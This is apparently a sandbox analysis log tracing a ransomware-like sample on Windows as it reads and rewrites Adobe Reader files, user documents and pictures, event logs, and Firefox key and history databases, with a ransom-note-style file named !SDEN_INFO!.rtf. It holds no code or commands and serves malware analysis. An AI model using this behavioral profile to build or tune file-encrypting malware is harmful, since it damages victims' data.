Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\fi-fi\ui-strings.js, size = 6926, size_out = 6926	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\fi-fi\ui-strings.js, size = 8342	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\nl-nl\ui-strings.js, size = 7070, size_out = 7070	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\nl-nl\ui-strings.js, size = 8486	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\tr-tr\ui-strings.js, size = 6819, size_out = 6819	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\tr-tr\ui-strings.js, size = 8235	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\core_icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\core_icons_retina.png, size = 16384, size_out = 16384	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\core_icons_retina.png, size = 4096, size_out = 4096	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\core_icons_retina.png, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\core_icons_retina.png, size = 16384	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\file_info2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\file_info2x.png, size = 666, size_out = 666	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\file_info2x.png, size = 2082	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\file_info.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\file_info.png, size = 437, size_out = 437	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\file_info.png, size = 1853	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\tool-view.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\tool-view.css, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\tool-view.css, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\tool-view.css, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\share_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\share_icons2x.png, size = 2702, size_out = 2702	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\share_icons2x.png, size = 4118	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\share_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\share_icons2x.png, size = 2702, size_out = 2702	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\share_icons2x.png, size = 4118	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\es-es\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\es-es\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\es-es\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\nb-no\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\nb-no\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\nb-no\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\tr-tr\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\tr-tr\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\tr-tr\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\es-es\ui-strings.js, size = 840, size_out = 840	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\es-es\ui-strings.js, size = 2256	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\ui-strings.js, size = 907, size_out = 907	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\ui-strings.js, size = 2323	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\close.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\close.svg, size = 1390, size_out = 1390	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\close.svg, size = 2806	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\nb-no\ui-strings.js, size = 2560, size_out = 2560	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\nb-no\ui-strings.js, size = 3976	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\variant.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\variant.js, size = 268, size_out = 268	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\variant.js, size = 1684	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\CourierStd.otf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\CourierStd.otf, size = 16384, size_out = 16384	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\CourierStd.otf, size = 4096, size_out = 4096	1	Fn
File	Write	filename = C:\ProgramData\Package Cache\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\packages\vcRuntimeAdditional_x86\!SDEN_INFO!.rtf, size = 5512	1	Fn
File	Write	filename = C:\ProgramData\Package Cache\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\packages\vcRuntimeAdditional_x86\!SDEN_INFO!.rtf, size = 16384	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\PFM\zx______.pfm, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
For performance reasons, the remaining 1356 entries are omitted. The remaining entries can be found in glog.xml.

Thread 0x114c

2557

0

»

Category	Operation	Information	Count	Logfile
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\key3.db, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\key3.db, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\key3.db, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\key3.db, size = 4096	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\places.sqlite, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\places.sqlite, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\places.sqlite, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\places.sqlite, size = 9608	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\places.sqlite, size = 61440	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\places.sqlite, size = 8192	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\hR6CmyF41D7GurnQ7sOc.xlsx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\hR6CmyF41D7GurnQ7sOc.xlsx, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\hR6CmyF41D7GurnQ7sOc.xlsx, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\hR6CmyF41D7GurnQ7sOc.xlsx, size = 4096	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\GlzMlE4S.docx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\GlzMlE4S.docx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\GlzMlE4S.docx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\GlzMlE4S.docx, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\GlzMlE4S.docx, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\iSUyvv2-pWLpyw9zJXDb.odt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\iSUyvv2-pWLpyw9zJXDb.odt, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\iSUyvv2-pWLpyw9zJXDb.odt, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\iSUyvv2-pWLpyw9zJXDb.odt, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\iSUyvv2-pWLpyw9zJXDb.odt, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\qR4asBdhoH30jOJbDKW.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\qR4asBdhoH30jOJbDKW.pdf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\qR4asBdhoH30jOJbDKW.pdf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\qR4asBdhoH30jOJbDKW.pdf, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\qR4asBdhoH30jOJbDKW.pdf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\combine_poster2x.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\combine_poster2x.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\combine_poster2x.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\combine_poster2x.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\combine_poster2x.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\protect_poster2x.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\protect_poster2x.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\protect_poster2x.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\protect_poster2x.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\protect_poster2x.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Pictures\DQrD.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Pictures\DQrD.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Pictures\DQrD.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\DQrD.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\DQrD.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Pictures\U30sMl7_p5d y.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Pictures\U30sMl7_p5d y.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Pictures\U30sMl7_p5d y.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\U30sMl7_p5d y.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\U30sMl7_p5d y.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, size = 5512	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, size = 61440	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\netfx_Extended_x64.msi, size = 4096	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, size = 9608	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, size = 61440	2	Fn Data
File	Write	filename = C:\588bce7c90097ed212\Windows6.1-KB958488-v6001-x86.msu, size = 8192	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx, size = 16384	1	Fn Data
